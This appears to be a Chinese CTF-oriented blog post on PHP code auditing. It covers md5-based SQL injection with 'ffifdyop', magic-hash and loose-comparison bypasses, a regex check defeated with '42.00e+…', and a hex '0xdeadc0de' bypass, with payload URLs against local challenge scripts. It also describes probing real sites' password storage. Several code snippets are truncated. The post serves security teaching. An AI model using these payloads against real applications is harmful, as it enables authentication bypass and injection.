PHP代码审计之函数漏洞(下)

前言

此篇文件属于代码审计篇的一个环节,其意图是为总结php常见函数漏洞,分为上下两节,此为下节!此篇与命令注入绕过篇和sql注入回顾篇同属一个系列!欢迎各位斧正!

目录

前言

正文

md5()引发的注入

md5加密相等绕过

数字验证正则绕过

md5函数验证绕过

十六进制与数字比较绕过

后记


正文

md5()引发的注入

0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} 
?>

MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入。 payload:ffifdyop

md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转换成字符串后为
'or'6�]��!r,��b�

PHP代码审计之函数漏洞(下)_第1张图片

md5加密相等绕过

代码

题解:

http://127.0.0.1/Php_Bug/13.php?a=240610708

==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
​
md5('240610708'); // 0e462097431906509019562988736854 
md5('QNKCDZO'); // 0e830400451993494058024219903391 

把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。

同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

资料:

  • PHP 探测任意网站密码明文/加密手段办法

数字验证正则绕过

= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
​
?>

题解:

0 >= preg_match('/^[[:graph:]]{12,}$/', $password) 意为必须是12个字符以上(非空格非TAB之外的内容)

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr)) 

意为匹配到的次数要大于6次

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break; 

意为必须要有大小写字母,数字,字符内容三种与三种以上

if ("42" == $password) echo $flag; 

意为必须等于42

答案:

42.00e+00000000000 
或
420.000000000e-1

资料:

  • 安全宝「约宝妹」代码审计CTF题解
  • 各种版本PHP在线迷你运行脚本
  • PHP Comparison Operators

md5函数验证绕过

题解:

if(md5($temp)==0)要使md5函数加密值为0

  • 方法一: 使password不赋值,为NULLNULL == 0true http://127.0.0.1/php_bug/23.php?password= http://127.0.0.1/php_bug/23.php
  • 方法二: 经过MD5运算后,为0e******的形式,其结果为0*10n次方,结果还是零 http://127.0.0.1/php_bug/23.php?password=240610708http://127.0.0.1/php_bug/23.php?password=QNKCDZO

十六进制与数字比较绕过

栗子:

= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
​
?>

题解:

这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag

echo  dechex ( 3735929054 ); // 将3735929054转为16进制
结果为:deadc0de

构造:

http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

 

后记

此篇为PHP函数漏洞审计下篇,总结了一些常见函数漏洞,并结合了CTF题目进行分析!PHP代码审计系列还会继续,希望大家能有所收获!不积硅步,无以至千里!

PHP代码审计之函数漏洞(上)

你可能感兴趣的:(代码审计,CTF学习,Web安全,Web,安全,CTF大本营)